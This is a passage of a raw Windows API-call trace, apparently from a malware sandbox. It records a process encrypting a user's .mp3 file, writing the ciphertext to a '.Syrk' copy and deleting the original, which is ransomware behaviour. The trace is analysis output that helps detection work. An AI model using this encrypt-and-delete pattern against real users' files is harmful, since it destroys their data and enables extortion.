lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x56 [0234.835] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3", nBufferLength=0x56, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3", lpFilePart=0x0) returned 0x55 [0234.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0234.835] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\2-hxc4lfdhsq_mkvo.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0234.835] GetFileType (hFile=0x454) returned 0x1 [0234.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0234.836] GetFileType (hFile=0x454) returned 0x1 [0234.836] EtwEventActivityIdControl () returned 0x0 [0234.836] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.836] EtwEventActivityIdControl () returned 0x0 [0234.836] EtwEventActivityIdControl () returned 0x0 [0234.836] EtwEventActivityIdControl () returned 0x0 [0234.837] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0234.837] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3.Syrk", nBufferLength=0x5b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3.Syrk", lpFilePart=0x0) returned 0x5a [0234.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0234.837] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\2-hxc4lfdhsq_mkvo.mp3.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0234.838] GetFileType (hFile=0x458) returned 0x1 [0234.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0234.838] GetFileType (hFile=0x458) returned 0x1 [0234.838] EtwEventActivityIdControl () returned 0x0 [0234.838] CryptGenRandom (in: hProv=0x5c4cee0, dwLen=0x10, pbBuffer=0x25060e4 | out: pbBuffer=0x25060e4) returned 1 [0234.839] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0234.839] CryptDuplicateKey (in: hKey=0x5c99860, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99a60) returned 1 [0234.839] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0234.839] CryptSetKeyParam (hKey=0x5c99a60, dwParam=0x4, pbData=0x250741c*=0x1, dwFlags=0x0) returned 1 [0234.840] CryptSetKeyParam (hKey=0x5c99a60, dwParam=0x1, pbData=0x25073e8, dwFlags=0x0) returned 1 [0234.840] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.840] EtwEventActivityIdControl () returned 0x0 [0234.840] EtwEventActivityIdControl () returned 0x0 [0234.840] EtwEventActivityIdControl () returned 0x0 [0234.841] EtwEventActivityIdControl () returned 0x0 [0234.841] ReadFile (in: hFile=0x454, lpBuffer=0x250a058, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x250a058*, lpNumberOfBytesRead=0x5a2e7d8*=0x4c4b, lpOverlapped=0x0) returned 1 [0234.853] CryptEncrypt (in: hKey=0x5c99a60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x251e070*, pdwDataLen=0x5a2e7cc*=0x4c40, dwBufLen=0x4c40 | out: pbData=0x251e070*, pdwDataLen=0x5a2e7cc*=0x4c40) returned 1 [0234.853] WriteFile (in: hFile=0x458, lpBuffer=0x25061cc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x25061cc*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0234.854] WriteFile (in: hFile=0x458, lpBuffer=0x251f05c*, nNumberOfBytesToWrite=0x3c54, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x251f05c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x3c54, lpOverlapped=0x0) returned 1 [0234.855] ReadFile (in: hFile=0x454, lpBuffer=0x250a058, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x250a058*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0234.855] CryptEncrypt (in: hKey=0x5c99a60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2522cbc*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2522cbc*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0234.855] CryptEncrypt (in: hKey=0x5c99a60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2522cd8*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2522cd8*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0234.855] WriteFile (in: hFile=0x458, lpBuffer=0x25061cc*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x25061cc*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0234.855] CloseHandle (hObject=0x458) returned 1 [0234.856] CloseHandle (hObject=0x454) returned 1 [0234.857] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.857] EtwEventActivityIdControl () returned 0x0 [0234.857] EtwEventActivityIdControl () returned 0x0 [0234.857] EtwEventActivityIdControl () returned 0x0 [0234.864] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\2-hxc4lfdhsq_mkvo.mp3")) returned 0x20 [0234.866] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x56 [0234.866] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3", nBufferLength=0x56, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3", lpFilePart=0x0) returned 0x55 [0234.866] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0234.866] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0234.867] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0234.867] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0234.867] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0234.867] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0234.867] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0234.867] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0234.867] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0234.867] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0234.867] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0234.867] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0234.867] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0234.867] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0234.868] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0234.868] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0234.868] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0234.868] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0234.868] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0234.868] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", lpFilePart=0x0) returned 0x22 [0234.868] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0234.868] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0234.868] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0234.868] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", lpFilePart=0x0) returned 0x30 [0234.868] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn")) returned 0x10 [0234.869] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn")) returned 0x10 [0234.869] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0234.869] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn", lpFilePart=0x0) returned 0x3f [0234.869] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\2-hxc4lfdhsq_mkvo.mp3")) returned 0x20 [0234.869] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x56 [0234.869] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3", nBufferLength=0x56, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3", lpFilePart=0x0) returned 0x55 [0234.871] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x56 [0234.871] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3", nBufferLength=0x56, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3", lpFilePart=0x0) returned 0x55 [0234.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0234.872] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x56 [0234.872] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3", nBufferLength=0x56, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3", lpFilePart=0x0) returned 0x55 [0234.872] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3\\*" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\2-hxc4lfdhsq_mkvo.mp3\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0234.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0234.872] CoTaskMemAlloc (cb=0x404) returned 0x5c9b950 [0234.872] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9b950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0234.872] CoTaskMemFree (pv=0x5c9b950) [0234.874] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\2-hxc4lfdhsq_mkvo.mp3")) returned 0x20 [0234.874] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x56 [0234.874] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3", nBufferLength=0x56, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3", lpFilePart=0x0) returned 0x55 [0234.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0234.874] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\2-hxc4lfdhsq_mkvo.mp3"), fInfoLevelId=0x0, lpFileInformation=0x2534a7c | out: lpFileInformation=0x2534a7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89de6020, ftCreationTime.dwHighDateTime=0x1d98e8f, ftLastAccessTime.dwLowDateTime=0xa7c27e30, ftLastAccessTime.dwHighDateTime=0x1d99913, ftLastWriteTime.dwLowDateTime=0xa7c27e30, ftLastWriteTime.dwHighDateTime=0x1d99913, nFileSizeHigh=0x0, nFileSizeLow=0x4c4b)) returned 1 [0234.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0234.875] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\2-hxc4lfdhsq_mkvo.mp3")) returned 1 [0234.876] EtwEventActivityIdControl () returned 0x0 [0234.876] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.877] EtwEventActivityIdControl () returned 0x0 [0234.877] EtwEventActivityIdControl () returned 0x0 [0234.877] EtwEventActivityIdControl () returned 0x0 [0234.883] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\2-hxc4lfdhsq_mkvo.mp3.syrk")) returned 0x20 [0234.884] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\2-hxc4lfdhsq_mkvo.mp3.syrk")) returned 0x20 [0234.884] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0234.884] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3.Syrk", nBufferLength=0x5b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3.Syrk", lpFilePart=0x0) returned 0x5a [0234.884] EtwEventActivityIdControl () returned 0x0 [0234.884] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.885] EtwEventActivityIdControl () returned 0x0 [0234.885] EtwEventActivityIdControl () returned 0x0 [0234.885] EtwEventActivityIdControl () returned 0x0 [0234.888] EtwEventActivityIdControl () returned 0x0 [0234.888] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.888] EtwEventActivityIdControl () returned 0x0 [0234.888] EtwEventActivityIdControl () returned 0x0 [0234.888] EtwEventActivityIdControl () returned 0x0 [0234.891] EtwEventActivityIdControl () returned 0x0 [0234.892] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.892] EtwEventActivityIdControl () returned 0x0 [0234.892] EtwEventActivityIdControl () returned 0x0 [0234.892] EtwEventActivityIdControl () returned 0x0 [0234.895] EtwEventActivityIdControl () returned 0x0 [0234.895] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.895] EtwEventActivityIdControl () returned 0x0 [0234.896] EtwEventActivityIdControl () returned 0x0 [0234.896] EtwEventActivityIdControl () returned 0x0 [0234.899] EtwEventActivityIdControl () returned 0x0 [0234.899] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.899] EtwEventActivityIdControl () returned 0x0 [0234.899] EtwEventActivityIdControl () returned 0x0 [0234.899] EtwEventActivityIdControl () returned 0x0 [0234.902] EtwEventActivityIdControl () returned 0x0 [0234.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0234.906] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\2-hxc4lfdhsq_mkvo.mp3.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2544038 | out: lpFileInformation=0x2544038*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d5e0a0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x7d5e0a0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x7d84200, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x4c64)) returned 1 [0234.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0234.907] GetConsoleOutputCP () returned 0x1b5 [0234.907] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0234.907] GetConsoleOutputCP () returned 0x1b5 [0234.907] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0234.907] GetConsoleOutputCP () returned 0x1b5 [0234.907] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.907] GetConsoleOutputCP () returned 0x1b5 [0234.907] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.908] GetConsoleOutputCP () returned 0x1b5 [0234.908] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0234.908] GetConsoleOutputCP () returned 0x1b5 [0234.908] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0234.908] GetConsoleOutputCP () returned 0x1b5 [0234.908] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.908] GetConsoleOutputCP () returned 0x1b5 [0234.908] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.908] GetConsoleOutputCP () returned 0x1b5 [0234.909] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0234.909] GetConsoleOutputCP () returned 0x1b5 [0234.909] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0234.909] GetConsoleOutputCP () returned 0x1b5 [0234.909] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, 